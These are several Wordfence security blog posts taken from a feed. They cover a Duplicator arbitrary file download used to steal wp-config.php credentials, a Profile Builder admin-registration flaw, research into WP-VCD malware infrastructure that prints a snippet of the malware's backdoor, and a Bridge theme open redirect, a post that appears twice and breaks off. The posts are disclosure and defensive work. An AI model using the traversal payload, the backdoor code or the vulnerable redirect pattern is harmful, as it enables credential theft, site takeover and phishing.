                while (!feof($fp) && ($data = fread($fp, DUPLICATOR_BUFFER_READ_WRITE_SIZE)) !== FALSE) {
                    echo $data;
                }
                @fclose($fp);
            } catch (Exception $e) {
                readfile($filepath);
            }
            exit;
        } else {
            wp_die('Invalid installer file name!!');
        }
    }
}
add_action('init', 'duplicator_init');

Because it was hooked into init, this function was executed on every WordPress page load for logged-in users and unauthenticated visitors alike. This means an attacker could trigger a file download by adding query strings to any path on a vulnerable site, bypassing AJAX-specific monitoring.

Both of these vulnerable cases have been patched as of Duplicator 1.3.28. The AJAX action has been updated to properly validate filenames, and now requires a matching ID and hash to allow the file download. The duplicator_init() function has been removed entirely.

Attackers Stealing Database Credentials

Arbitrary file download vulnerabilities can be a critical issue regardless of the vulnerable site’s platform, but such attacks against WordPress sites largely target one file: wp-config.php.

Depending on the site, wp-config.php can contain any amount of custom code, but attackers target it to access a site’s database credentials. With these credentials, an attacker can directly access the victim site’s database if it allows remote connections. This access can be used by an attacker to create their own Administrator account and further compromise the site, or simply to inject content or harvest data.

Sites with local databases still have cause for concern, however. On shared hosting environments, it’s possible for one user on a shared server to access the local database of another site on the same server. This certainly limits the attack surface of the vulnerable site, but is still a severe issue.

At the time of this writing, Wordfence has blocked more than 60,000 attempts to download wp-config.php files with this vulnerability. About 50,000 of these events took place before Duplicator patched the flaw, making this a zero-day vulnerability.

Nearly all of these attacks were issued from the same IP address: 77.71.115.52. This IP points to a webserver located in Bulgaria, owned by Varna Data Center EOOD. A handful of websites are hosted on this server, suggesting the attacker could be proxying their attacks through a compromised website. We have associated this IP address with other malicious activity against WordPress recently, and research into its activity is ongoing.

Indicators Of Compromise (IOCs)

The following Indicators of Compromise (IOCs) can be used to determine if your site may have been attacked.

  • Traffic logged from the threat actor’s IP address should be considered suspicious:
    • 77.71.115.52
  • Attacks in this campaign are issued via GET requests with the following query strings:
    • action=duplicator_download
    • file=/../wp-config.php
    • Note: Because this vulnerability can be exploited via WP AJAX, it’s possible to exploit via POST request. In this case, it’s possible for the action parameter to be passed in the POST body instead of the query string. This will prevent the action=duplicator_download string from appearing in HTTP logs. The file parameter must be passed as a query string, however, and is a reliable indicator.

Timeline

  • February 10th, 2020 – First attacks against Duplicator vulnerability. Wordfence users already safe due to built-in firewall protection.
  • February 12th, 2020 – Duplicator releases version 1.3.28 to patch the flaw.

Conclusion

Duplicator’s massive install base, combined with the ease of exploiting this vulnerability, makes this flaw a noteworthy target for hackers. It’s crucial that Duplicator’s users update their plugins to the latest available version as soon as possible to remove this risk. All Wordfence users are protected from these attacks, but don’t forget to update despite this. Also, due to the nature of Duplicator’s functionality, it’s likely that it’s no longer required on your site. If you have no intent of using it to migrate or clone your site in the immediate future, you can delete the plugin without worry. It can always be reinstalled later if needed.

If you believe your site was attacked via this vulnerability, it’s critical that you change your database credentials and WordPress salts immediately. If you’re concerned that an attacker may have gained unauthorized access to your site, consider having our expert analysts perform a Site Security Audit to ensure your security is intact.

 

The post Active Attack on Recently Patched Duplicator Plugin Vulnerability Affects Over 1 Million Sites appeared first on Wordfence.

Read More

Critical Vulnerability In Profile Builder Plugin Allowed Site Takeover

Description: Unauthenticated Administrator Registration
Affected Plugin: Profile Builder (Free, Pro, and Hobbyist versions affected)
Affected Versions: <= 3.1.0
CVSS Score: 10.0 (Critical)
CVSS Vector:
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Patched Version: 3.1.1

Earlier this week, a critical vulnerability was patched in the Profile Builder plugin for WordPress. This vulnerability affected the free version available on the WordPress.org repository, as well as the commercial Pro and Hobbyist variants. According to the WordPress repository more than 50,000 sites are running the free version of Profile Builder, and our estimates suggest there are roughly 15,000 installations of the Pro and Hobbyist versions, for an estimated total of 65,000 affected sites.

Profile Builder versions up to and including 3.1.0 are affected by this vulnerability. It is crucial that any site running a vulnerable version of the plugin be updated to version 3.1.1 immediately to avoid site compromise. We have deployed a firewall rule to prevent exploitation on sites running Wordfence Premium. Sites using the free version of Wordfence will receive the rule after thirty days.

In this post we’ll take a look at the vulnerability and discuss its impact. We’ll also detail some steps a site owner can take to mitigate the issue in the event that an immediate update isn’t possible.

Vulnerability Summary

Profile Builder is a plugin designed to create custom forms that allow users to register, edit their profiles, and more. It also features a custom user role editor, allowing admins to assign custom sets of privileges to their site’s users.

To implement these custom user roles in the registration process, the plugin features form handlers to assign a selected role to a new user. This user role field isn’t present by default, but can be added by an administrator to provide a list of approved roles in a drop-down menu.

An example of a Profile Builder registration form with a User Role dropdown field.

An example of a Profile Builder registration form with a User Role dropdown field.

Unfortunately, a bug in the form handler made it possible for a malicious user to submit input on form fields that didn’t exist in the actual form. Specifically, if the site’s administrator didn’t add the User Role field to the form, an attacker could still inject a user role value into their form submission.

When an administrator adds the User Role selector to a form, they have to select a list of approved roles for new users. If this list is created, only approved roles will be accepted by the form handler. However, when the User Role field isn’t present and an attacker submits a user role anyway, there is no list of approved roles and any input is accepted.

These two issues combine to allow unauthenticated attackers to register Administrator accounts on vulnerable WordPress sites. With Administrator privileges, an attacker has effectively taken over the site and can deploy malware and other backdoors freely.

These issues have been patched as of Profile Builder version 3.1.1.

Patch Details

As we mentioned in the summary above, the impact of this vulnerability is caused by the interaction of two smaller bugs.

For the first bug, the Profile Builder plugin’s form handler would process input on any of the plugin’s possible form fields, regardless of whether that field was present in the form. To patch this bug, the developers created the validation function wppb_field_exists_in_form(). This validation is now used in the handler function of each possible form field, preventing the injection of unintended values.

/**
 * Function that checks if a field type exists in a form
 * @return bool
 */
function wppb_field_exists_in_form( $field_type, $form_args ){
    if( !empty( $form_args ) && !empty( $form_args['form_fields'] ) ){
        foreach( $form_args['form_fields'] as $field ){
            if( $field['field'] === $field_type ){
                return true;
            }
        }
    }

    return false;
}

Patching this bug effectively prevents exploitation of the second one, but the developers wisely fixed it as well. In addition to confirming the custom_field_user_role field is present on the form, the field handler now explicitly denies attempts to create Administrator users.

/* handle field save */
function wppb_userdata_add_user_role( $userdata, $global_request, $form_args ){

    if( wppb_field_exists_in_form( 'Select (User Role)', $form_args ) ) {

        $roles_editor_active = false;
        $wppb_generalSettings = get_option('wppb_general_settings', 'not_found');
        if ($wppb_generalSettings != 'not_found') {
            if (!empty($wppb_generalSettings['rolesEditor']) && ($wppb_generalSettings['rolesEditor'] == 'yes')) {
                $roles_editor_active = true;
            }
        }

        if (isset($global_request['custom_field_user_role'])) {
            if ($roles_editor_active && is_array($global_request['custom_field_user_role'])) {
                $user_roles = array_map('trim', $global_request['custom_field_user_role']);
                $user_roles = array_map('sanitize_text_field', $user_roles);

                //don't allow administrator value. it should never be here but just in case make a hard check
                if (($key = array_search("administrator", $user_roles)) !== false) {
                    unset($user_roles[$key]);
                }

                $userdata['role'] = $user_roles;
            } else {
                $role = sanitize_text_field(trim($global_request['custom_field_user_role']));
                if( $role !== 'administrator' ) {//don't allow administrator value. it should never be here but just in case make a hard check
                    $userdata['role'] = $role;
                }
            }
        }
    }

    return $userdata;
}

As you can see in the if() statement on line 181, the user role assignment code will not run if wppb_field_exists_in_form() returns False. Additionally, checks on lines 197 and 204 will prevent assignment if the intended role is administrator.

Assessing Impact

Considering all of the factors of this vulnerability, we have calculated its CVSS severity score as 10.0 (Critical). View the CVSS calculation here.

This score was determined based on the following metrics:

  • Attack Vector: Network
    • The vulnerability can be exploited via HTTP(S) access to an affected site.
  • Attack Complexity: Low
    • No excessive effort is required by an attacker, just the discovery of a vulnerable form.
  • Privileges Required: None
    • The vulnerability is exploited in the user registration process, no prior authentication is necessary.
  • User Interaction: None
    • No interaction by the site’s administrator is required to exploit a vulnerable form.
  • Scope: Changed
    • The vulnerability is present in a plugin added onto a WordPress application, but successful exploitation allows access far beyond the affected plugin itself.
  • Confidentiality: High
  • Integrity: High
  • Availability: High
    • All three CIA impact scores are High in cases where a full site takeover is possible. An attacker with Administrator privileges can disrupt site behavior, harvest data, and inject malicious content at will.

Short-Term Mitigation

We strongly recommend updating Profile Builder to version 3.1.1 as soon as possible to avoid a critical security event on your site. However, we understand that some users may be restricted by update workflows and other policies that can slow down a proper response.

In the event that your site is using a vulnerable version of Profile Builder and can’t be updated immediately, it’s possible to mitigate the severity of the vulnerability by modifying your existing Profile Builder form fields. Since an attacker can only create an Administrator account if the User Role field doesn’t exist in the form, you can add this field and properly limit it to one or more authorized roles.

A screenshot of Profile Builder's interface, showing the creation of a Select (User Role) field.

A screenshot of Profile Builder’s interface, showing the creation of a Select (User Role) field.

To add this field, access the “Form Fields” page from Profile Builder’s sidebar menu. At the top of this page, a dropdown will ask you to select an option. Choose the “Select (User Role)” option under Advanced. Fill out the form that appears by giving the field a name and description, then select the role or roles that new users should be allowed to access. For most sites, selecting Subscriber and nothing else will be sufficient.

To reiterate, it’s still of critical importance that affected users update their plugins as quickly as possible even when a mitigation like this is available. This should only be relied on as a temporary measure to prevent exploitation until you can patch your site.

Timeline

  • February 10, 2020 – Profile Builder version 3.1.1 is released. “Security update” mentioned in changelog. WPVulnDB entry created by the vulnerability’s discoverer.
  • February 12, 2020 – We deployed a firewall rule to protect Wordfence Premium users from the vulnerability.
  • February 24, 2020 – Proof-of-concept (PoC) to be released, according to the WPVulnDB entry.
  • March 13, 2020 – Firewall rule to be deployed to sites running the free version of Wordfence.

Conclusion

Profile Builder versions up to and including 3.1.0 were affected by a critical vulnerability which could allow hackers to take over a site using the plugin. All variants of the plugin, including Free, Pro, and Hobbyist, contained the bugs responsible for this issue. These bugs were patched in version 3.1.1 of all variants, released on February 10th.

Wordfence Premium users are already protected by a new firewall rule, and sites still using the free version of Wordfence will receive this rule on March 13th. Even with a firewall rule in place, we still strongly recommend performing security updates to thoroughly mitigate the risk to your site.

At this time, we have seen no indication of malicious activity seeking to exploit this vulnerability. We will continue to monitor for new exploitation campaigns that may emerge over time, and will report our findings as they come. If you believe your site may have been compromised as a result of this vulnerability or any other, don’t hesitate to reach out to our Site Cleaning team.

According to the vulnerability’s entry in WPVulnDB, the discovering researcher intends to release a detailed proof-of-concept (PoC) on February 24th. While a bad actor could develop an attack script by examining the changes made in the patched version with little difficulty, the public release of a PoC commonly results in wide exploitation by hackers. It is critically important that all affected users update to version 3.1.1 as soon as possible. To help spread awareness of these concerns, please consider sharing this report with other members of the WordPress community.

 

The post Critical Vulnerability In Profile Builder Plugin Allowed Site Takeover appeared first on Wordfence.

Read More

WP-VCD Evolves To Remain Most Prevalent WordPress Infection

Early last month we released a comprehensive paper covering WP-VCD, the most prevalent malware campaign affecting the WordPress ecosystem in recent memory. In this paper we examined the campaign from a number of angles, such as the behavior of the malware itself, its method of distribution, and its evolution over time.

The presence of threats like WP-VCD demands that WordPress users remain vigilant about the security of their sites in the long term. Scams like these are prolific for a reason: They’re effective. Our data shows that WP-VCD is still infecting more new sites per week than any other active malware campaign. Even after publishing a paper on the campaign, we have yet to identify any meaningful change in the rate of new infections.

This lack of impact suggests an issue of user demographics. Simply put, it’s unlikely that security is a priority for the WordPress user who downloads pirated content from back-alley websites. Neither the whitepaper itself, nor reports from popular security news sources on the subject, would ever have been on that user’s radar. This reinforces an important point: Awareness is your most valuable security tool.

In today’s post, we’re going to look at what’s changed with WP-VCD between last month and today, and share some tips for staying vigilant against this threat and other scams like it.

Recap: What is WP-VCD?

WP-VCD is a malware infection designed to target WordPress sites by hiding in nulled, or pirated, plugins and themes. Its controllers exploit their victims to boost search engine rankings for the sites that distribute the infected code. The attackers then monetize the campaign with malvertising scripts, which trigger potentially dangerous popups and redirects for the victim sites’ visitors.

It’s a sophisticated campaign. It preys on unaware WordPress users looking for a way to get free access to paid content. Then, by using newly infected sites to draw more victims in, it can maintain a reliable base of compromised sites even as earlier victims clean up the mess. Lastly, the campaign is resilient. In the event that one of WP-VCD’s command and control (C2) domains are taken down, it can quickly rotate in a new one.

Some details were still unclear when we wrote the report, however. We hadn’t been able to identify where the campaign hosted its infrastructure. All domains used in the campaign, from the malware’s C2 sites to the SEO-boosted sites distributing the infected content, had DNS routed through Cloudflare’s content delivery network (CDN). This abstraction allowed the campaign to run without revealing the IP addresses behind it all.

Intervention From Cloudflare

Cloudflare acted quickly when we published our report. Less than twenty-four hours after the paper went live, access to WP-VCD’s C2 domains had been limited by the addition of a warning page.

A phishing warning page from Cloudflare.

A phishing warning page from Cloudflare.

While a human visitor could click through to see the content behind the warning page, a call from an infected website wouldn’t make it through. This prevented WP-VCD’s victim sites from accessing the /code.php and /o.php endpoints, which distributed instructions and registered newly infected sites.

The campaign’s C2 domains were the only ones affected by this intervention. Cloudflare did not add warnings to the sites responsible for distributing the infected plugins and themes.

DNS Exposure

Since the malware scripts could no longer access their C2 sites, WP-VCD’s controllers were forced to pull those domains from Cloudflare’s services.

Beginning November 5th, less than a day after the campaign’s exposure in our whitepaper, WP-VCD moved its command and control DNS away from Cloudflare. The new DNS provider is AliDNS, a service associated with Alibaba, the Chinese tech conglomerate.

WHOIS results for C2 domain trilns.com, showing ALIDNS.COM nameservers.

WHOIS results for C2 domain trilns.com, showing ALIDNS.COM nameservers.

While Cloudflare provided CDN services which concealed the primary server behind the campaign, AliDNS did not. The C2 domain’s DNS records were now pointing directly at a single address: 94.156.175.170.

Researching The Host

The IP address 94.156.175.170 points to a cPanel server belonging to Verdina LTD, a company ostensibly based in Belize but with servers in Bulgaria.

This isn’t the first time hackers used Verdina’s servers to perform criminal activity without reprisal. In 2016 it was revealed that DDoS-for-hire service vDOS was hosted across four of Verdina’s servers. The service was also known for allowing IP spoofing, which made “stresser” services like vDOS possible. Hacking forum users have pointed out Verdina specifically as an example of hosts that were forced to stop spoofing in order to retain their allocated IP address space.

The company’s connection to Belize also appears to be exclusively a bureaucratic one. The corporate address listed in Verdina’s Terms of Service, 1 Mapp Street, Belize City, Belize, suggests a relationship with International Corporate Services, a financial firm designed to help you create your very own non-resident corporation in Belize.

Screenshot of the homepage of offshorebelize.com.

Screenshot of the homepage of offshorebelize.com.

We’re continuing to investigate activity associated with Verdina’s IP address space.

Testing The Host Server

As we detailed in the whitepaper, WP-VCD’s C2 sites rotated through new domain names frequently. We included more than a hundred in our report, but it’s safe to assume there have been more than that. What we didn’t know, due to their use of a CDN, was whether the attackers were rotating servers behind the scenes as well. With one domain name now pointing to one server, we needed to test if that server could be linked to previously used C2 domains.

For example, the C2 domain active at the time of this writing is www.trilns.com (Note the www. in the address, these domains have always required the www. subdomain to resolve). An HTTPS request to 94.156.175.170 for the hostname www.trilns.com will receive a valid TLS certificate for the domain, which was generated by the cPanel server running the site. Since the server administrator would need to intentionally generate each certificate, we could test the server for the existence of certificates associated with earlier C2 domains.

Screenshot of the cPanel-signed certificate for C2 domain www.ratots.com.

Screenshot of the cPanel-signed certificate for C2 domain www.ratots.com.

 

In our testing, we were able to confirm the presence of valid cPanel certificates for all of the command and control domains we tested, even those not actively used in years. We also confirmed that this server hosts ins.spekt.pw, a domain used as part of WP-VCD’s viral marketing campaign.

SEO-Heavy Download Sites Still Behind Cloudflare

One part of the campaign we couldn’t associate with this server, however, was the distribution of infected plugins and themes. While an old, broken version of vestathemes.com could be found on 94.156.175.170 with an expired certificate, we determined that server wasn’t the current host of it or the other sites in the distribution network like downloadfreethemes.co and freenulled.top. We also hadn’t found the origin server behind the site hosting the actual infected zip files, download-freethemes.download.

Screenshot of a DIG request showing Cloudflare DNS used on download-freethemes.download.

Screenshot of a DIG request showing Cloudflare DNS used on download-freethemes.download.

Each of these sites, entry points for unknowing WordPress administrators to infect themselves with WP-VCD, were still protected by Cloudflare’s CDN. It is unclear at this time why Cloudflare intervened with warning pages on the C2 domains but not the sites reached by human visitors.

…But We Found Them Anyway

The C2 server at 94.156.175.170 broadcasts its hostname as vesta.vestathemes.com. With that in mind, we searched Shodan for other hostnames or service banners associated with the vestathemes name. Two different addresses were calling themselves server2.vestathemes.com: 94.156.175.192 and 94.156.175.193.

Using the same tests as before, we determined that 94.156.175.192 is the origin IP behind the nulled content distribution network. This includes the SEO-boosted domains advertising the infected plugins and themes, as well as download-freethemes.download, the site the zips are actually downloaded from.

The remaining address, 94.156.175.193, is still under investigation. We have not affirmatively associated this server with any outward-facing activity. However, navigating directly to either IP address and forcing a cPanel 404 page reveals a mailto: link for x1ngbox@gmail.com. Those who read the WP-VCD whitepaper will recognize this as the primary email address associated with the WP-VCD campaign.

A cPanel-generated 404 page from 94.156.175.193, linking the server to the email x1ngbox@gmail.com.

A cPanel-generated 404 page from 94.156.175.193, linking the server to the email x1ngbox@gmail.com.

Tips For Remaining Vigilant Against Scams

  1. Be responsible with the third-party code you add to your website. While WP-VCD is simple enough to avoid by steering clear of nulled plugins and themes, recent history has shown that even ostensibly-legitimate developers are capable of adding questionable code to their products.
  2. If you are not personally handling the development of your website, ensure you fully trust the people you’ve assigned the task. Less-than-reputable “gig” developers, who claim to offer full custom site builds for a price that’s too good to be true, frequently cut corners that will cost you headaches at minimum. Even if they’re not intending to infect your website, they’re still interested in cutting costs by getting commercial themes for free, and they’re not sticking around your site long enough to make sure it’s clean.
  3. As a general rule, never trust a page you didn’t intend to visit. WP-VCD and other recent attack campaigns have been identified injecting malvertising scripts. These scripts redirect a site’s visitors to unwanted locations. These pages attempt to trick you into giving them what they want. This includes phishing for logins with claims like “You must log in to your Google account to view this content”, or prompting you to engage in a tech support scam by claiming your device is corrupted or infected. They’ll also ask mobile users for permission to receive push notifications, which can be used to send further spam notifications.
  4. Periodically visit your sites from new devices and locations without logging into them. WP-VCD’s malvertising code attempts to hide itself from administrators by storing a cookie on their device and logging the IP address they connected from. That way, even if the admin logs out, it can still hide until they clear their cookies and connect from a new IP address. This technique is not unique to WP-VCD, and can be useful in identifying other malicious activity that would have otherwise gone unnoticed.
  5. If your site was a victim of WP-VCD or another malware infection, you should inform your users as quickly as possible. Responsible site ownership means being forthright about the fact that your site’s visitors may have encountered dangerous code. Plus, depending on the way browsers cache your site, some of your visitors may still see an infected version for a while after you’ve cleaned it. Giving your users a heads-up isn’t just the ethical thing to do, it demonstrates to them that their security is a priority.

Conclusion

The actors behind the WP-VCD campaign have shown that they are quick to respond when infrastructure changes are necessary. It’s possible that new changes are forthcoming in the wake of the campaign’s recent information leakage. It’s hard to say how this campaign may evolve further over time. Continuing trends in the detection of new WP-VCD infections suggest that the campaign is going as strong as ever.

Preventing your site from falling victim to WP-VCD is simple: don’t install nulled plugins or themes. Not only does it take money from the folks who built the content, but sourcing code from untrustworthy sources has clear negative implications for the health of your website.

Because awareness is the most effective defense against infecting your own site, you can help spread this defense across the WordPress ecosystem. Share the WP-VCD whitepaper, inform, and educate less technical users so they’re empowered against the malicious actors that prey upon a lack of awareness. WordPress is stronger because of the community, and our educational efforts make us all stronger.

If you’re curious for more detail about WP-VCD and haven’t read it already, check out our report: WP-VCD: The Malware You Installed On Your Own Site.

The post WP-VCD Evolves To Remain Most Prevalent WordPress Infection appeared first on Wordfence.

Read More

WP-VCD: The Malware You Installed On Your Own Site

One of the most prevalent malware infections facing the WordPress ecosystem in recent weeks is a campaign known as WP-VCD. Despite the relatively long existence of the campaign, the Wordfence threat intelligence team has associated WP-VCD with a higher rate of new infections than any other WordPress malware every week since August 2019, and the campaign shows no signs of slowing down.

In today’s post, we are publishing a comprehensive whitepaper analyzing WP-VCD. This whitepaper contains the full details of our research efforts into this prevalent campaign. It is intended as a resource for threat analysts, security researchers, WordPress developers and administrators, and anyone else interested in tracking or preventing the behavior associated with WP-VCD.

WP-VCD In Brief

The WP-VCD infection itself is spread via “nulled”, or pirated, plugins and themes distributed by a network of related sites, and it’s remarkable in the way it propagates once deployed. Behind the scenes, extensive command and control (C2) infrastructure and self-healing infections allow attackers to maintain a persistent foothold on these infected sites.

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '2f3ad13e4908141130e292bf8aa67474'))
	{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
	case 'change_domain';
	if (isset($_REQUEST['newdomain']))

The code snippet above was sourced from an infected functions.php file on a site compromised by WP-VCD. Due to the campaign’s prevalence, this example is likely immediately recognizable to anyone with experience handling WordPress malware infections.

Full details and code analysis of the WP-VCD campaign can be found in the full report.

Infrastructure, Monetization, and Attribution

At various points in its history, specific features have been added and removed from the malware, but most core components of WP-VCD have remained consistent. Monetization comes from two main sources: viral marketing activity intended to manipulate search engine results via black hat SEO, and malvertising code which creates potentially dangerous redirects and pop-up ads for users viewing a compromised site.

In the whitepaper, we provide some insight into the extent of WP-VCD’s infrastructure and monetization scheme. We also reveal data which provides attribution to the threat actor behind the campaign.

Indicators of Compromise (IOCs)

In order to aid the security community in the prevention, detection, and eradication of WP-VCD infections, we have provided an extensive list of IOCs associated with this campaign. We have also shared some YARA-compatible malware detection rules for public use in the identification of infected sites.

Read The Full Report

The full scope of our investigation into WP-VCD far exceeds that of a typical research blog post, so please read the complete whitepaper: WP-VCD: The Malware You Installed On Your Own Site.

Credits: WP-VCD whitepaper by Mikey Veenstra. Editing by Sean Murphy and Ramuel Gall. 

The post WP-VCD: The Malware You Installed On Your Own Site appeared first on Wordfence.

Read More

Open Redirect Vulnerability Patched In Bridge Theme

Description: Open Redirect
CVSS v3.0 Score: 7.1 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Affected Software: Two built-in plugins packaged with the Bridge theme – Qode Instagram Widget and Qode Twitter Feed
Plugin Slugs: qode-instagram-widget, qode-twitter-feed
Affected Versions: Bridge Theme: 18.2 / Plugins: 2.0.1
Patched Version: Bridge Theme: 18.2.1 / Plugins: 2.0.2

Our Threat Intelligence team recently identified an open redirect vulnerability in Bridge, a commercial WordPress theme purchased more than 120,000 times. We disclosed this issue to Qode Interactive, the theme’s developers, who have since released a patch for the affected components.

The initial discovery was related to one of the theme’s prepackaged helper plugins, Qode Instagram Widget. After discovery, Qode’s team patched a similar open redirect flaw in another prepackaged plugin, Qode Twitter Feed. Both of these plugins should be updated to their latest version, which is 2.0.2 in both cases at the time of this writing. These updates will be accessible from within the Bridge theme’s recommended plugin manager once the theme has been updated to 18.2.1.

We have released new firewall rules which protects Wordfence users’ sites from abuse of these open redirects. Wordfence Premium users already have access to these rules, and users still on the free version will have access in thirty days.

In today’s post, we’ll take a look at the vulnerabilities that were patched, and we’ll briefly discuss the risk that an open redirect vulnerability presents. Update workflows can vary for commercial themes and plugins such as these, so we’ll additionally be providing a short guide to help Bridge users ensure they’re up to date.

What Is An Open Redirect?

An open redirect vulnerability exists when a web application can be made to redirect a visitor to an arbitrary location based on user input. This can be used to create innocent-looking web links to legitimate domains, which then redirect the victim to a dangerous location. This is commonly used in phishing scams, since a link to a trustworthy site is much more likely to be clicked than a typical phishing domain.

A classic example of this type of flaw is as follows:

$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

In the example above, a victim could be sent a link to https://legitimatesite.com/redirect.php?url=https://evilsite.com, hover over the link to confirm the legitimatesite.com domain, click on it, and be taken to evilsite.com without their permission.

In the WordPress ecosystem, this could be used in spearphishing attacks against site administrators. An administrator could receive a link to their own website and be taken to a WordPress login page, not knowing they were redirected to a phishing site built to harvest their credentials.

Vulnerable Redirect Scripts In Prepackaged Plugins

Upon install, the Bridge theme prompts users to install a number of prepackaged plugins. Two of these plugins, Qode Instagram Widget and Qode Twitter Feed, contained redirect scripts which allowed open redirects.

For Qode Instagram Widget, the following script could be found at lib/instagram-redirect.php:

<?php

if(!empty($_GET['redirect_uri']) && !empty($_GET['code'])) {
    $glue = strstr($_GET['redirect_uri'], '?') ? '&' : '?';
    header('Location: '.($_GET['redirect_uri'].$glue.'code='.$_GET['code']));
}

This code takes the GET parameters redirect_uri and code, and combine them into an eventual redirect location.

The code in Qode Twitter Feed is almost identical. The following can be found at lib/twitter-redirect.php:

<?php

if(!empty($_GET['redirect_url']) && !empty($_GET['oauth_token']) && !empty($_GET['oauth_verifier'])) {
    $glue = strstr($_GET['redirect_url'], '?') ? '&' : '?';
    header('Location: '.($_GET['redirect_url'].$glue.'oauth_token='.$_GET['oauth_token']).'&oauth_verifier='.$_GET['oauth_verifier']);
}

Not counting the interchange of “URI” and “URL” in the variable names, the only differences are the additional GET parameters required to trigger the redirect.

Upon disclosure, Qode Interactive responded that these scripts were only present for demo purposes, and they have been removed entirely from patched versions of the plugins.

How Do I Patch?

Commercial WordPress themes and plugins often have update workflows that differ from those native to the WordPress.org repository. In the case of the Bridge theme and its associated plugins, it seems many users aren’t getting the updates they need. According to our data, 38% of active Qode Instagram Widget installations haven’t been updated in more than two years, and that number jumps to 68% for Qode Twitter Feed users. 

Updating these plugins first requires users to update the Bridge theme. This is done either by manually downloading and installing an updated copy of the theme from ThemeForest, or by using the Envato Market plugin which also comes bundled with the Bridge theme to update from within the WordPress dashboard.

Screenshot of the Envato Market plugin’s API setup process.

Once the Envato Market plugin is installed, you can open its menu in the dashboard and set up your site’s API access to the Envato Marketplace. This will require you to log in to the account you used to purchase the Bridge theme and generate an access token using the steps they provide.

Once the API connection has been established, the theme can be updated. Unfortunately, the need to update isn’t made particularly obvious from most of the dashboard, as it doesn’t interact with WordPress’s built-in update notification system. Instead, you’ll see the update available within the Theme selector (Appearance -> Themes), or within the Themes tab of the Envato Market options page.

Screenshot of the WordPress theme selector showing an update available for Bridge.

Once Bridge has been updated, users may see a nag notification telling them their built-in plugins need to be updated, but if they ignore or dismiss it there’s no persistent indication that an update is available. If users open their plugins page, they won’t see a typical update notice. The individual plugin entries will show an “Update Required” link, however.

Screenshot of a WordPress plugin management page, showing several Qode plugins with “Update Required” links.

Short-Term Fix: Delete The Scripts

In the event that updating your site’s Bridge theme isn’t immediately possible, such as cases where a one-time developer installed it before vanishing into the wind, it’s easy to resolve the security issues present in these plugins without updating anything else.

Since the vulnerable files aren’t actually used or referenced in the plugins themselves, users can simply delete instagram-redirect.php and twitter-redirect.php from their sites without causing any problems. While it’s still always recommended that users update their themes and plugins, removing these files will still mitigate security concerns in the meantime.

Disclosure Timeline

  • 09/19/19 – Vendor notified of issue
  • 09/23/19 – Vendor acknowledged issue and proposed patch
  • 10/16/19 – Patched version released

 

The post Open Redirect Vulnerability Patched In Bridge Theme appeared first on Wordfence.

Read More

Open Redirect Vulnerability Patched In Bridge Theme

Description: Open Redirect
CVSS v3.0 Score: 7.1 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Affected Software: Two built-in plugins packaged with the Bridge theme – Qode Instagram Widget and Qode Twitter Feed
Plugin Slugs: qode-instagram-widget, qode-twitter-feed
Affected Versions: Bridge Theme: 18.2 / Plugins: 2.0.1
Patched Version: Bridge Theme: 18.2.1 / Plugins: 2.0.2

Our Threat Intelligence team recently identified an open redirect vulnerability in Bridge, a commercial WordPress theme purchased more than 120,000 times. We disclosed this issue to Qode Interactive, the theme’s developers, who have since released a patch for the affected components.

The initial discovery was related to one of the theme’s prepackaged helper plugins, Qode Instagram Widget. After discovery, Qode’s team patched a similar open redirect flaw in another prepackaged plugin, Qode Twitter Feed. Both of these plugins should be updated to their latest version, which is 2.0.2 in both cases at the time of this writing. These updates will be accessible from within the Bridge theme’s recommended plugin manager once the theme has been updated to 18.2.1.

We have released new firewall rules which protects Wordfence users’ sites from abuse of these open redirects. Wordfence Premium users already have access to these rules, and users still on the free version will have access in thirty days.

In today’s post, we’ll take a look at the vulnerabilities that were patched, and we’ll briefly discuss the risk that an open redirect vulnerability presents. Update workflows can vary for commercial themes and plugins such as these, so we’ll additionally be providing a short guide to help Bridge users ensure they’re up to date.

What Is An Open Redirect?

An open redirect vulnerability exists when a web application can be made to redirect a visitor to an arbitrary location based on user input. This can be used to create innocent-looking web links to legitimate domains, which then redirect the victim to a dangerous location. This is commonly used in phishing scams, since a link to a trustworthy site is much more likely to be clicked than a typical phishing domain.

A classic example of this type of flaw is as follows:

$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

In the example above, a victim could be sent a link to https://legitimatesite.com/redirect.php?url=https://evilsite.com, hover over the link to confirm the legitimatesite.com domain, click on it, and be taken to evilsite.com without their permission.

In the WordPress ecosystem, this could be used in spearphishing attacks against site administrators. An administrator could receive a link to their own website and be taken to a WordPress login page, not knowing they were redirected to a phishing site built to harvest their credentials.

Vulnerable Redirect Scripts In Prepackaged Plugins

Upon install, the Bridge theme prompts users to install a number of prepackaged plugins. Two of these plugins, Qode Instagram Widget and Qode Twitter Feed, contained redirect scripts which allowed open redirects.

For Qode Instagram Widget, the following script could be found at lib/instagram-redirect.php:

<?php

if(!empty($_GET['redirect_uri']) && !empty($_GET['code'])) {
    $glue = strstr($_GET['redirect_uri'], '?') ? '&' : '?';
    header('Location: '.($_GET['redirect_uri'].$glue.'code='.$_GET['code']));
}

This code takes the GET parameters redirect_uri and code, and combine them into an eventual redirect location.

The code in Qode Twitter Feed is almost identical. The following can be found at lib/twitter-redirect.php:

<?php

if(!empty($_GET['redirect_url']) && !empty($_GET['oauth_token']) && !empty($_GET['oauth_verifier'])) {
    $glue = strstr($_GET['redirect_url'], '?') ? '&' : '?';
    header('Location: '.($_GET['redirect_url'].$glue.'oauth_token='.$_GET['oauth_token']).'&oauth_verifier='.$_GET['oauth_verifier']);
}

Not counting the interchange of “URI” and “URL” in the variable names, the only differences are the additional GET parameters required to trigger the redirect.

Upon disclosure, Qode Interactive responded that these scripts were only present for demo purposes, and they have been removed entirely from patched versions of the plugins.

How Do I Patch?

Commercial WordPress themes and plugins often have update workflows that differ from those native to the WordPress.org repository. In the case of the Bridge theme and its associated plugins, it seems many users aren’t getting the updates they need. According to our data, 38% of active Qode Instagram Widget installations haven’t been updated in more than two years, and that number jumps to 68% for Qode Twitter Feed users. 

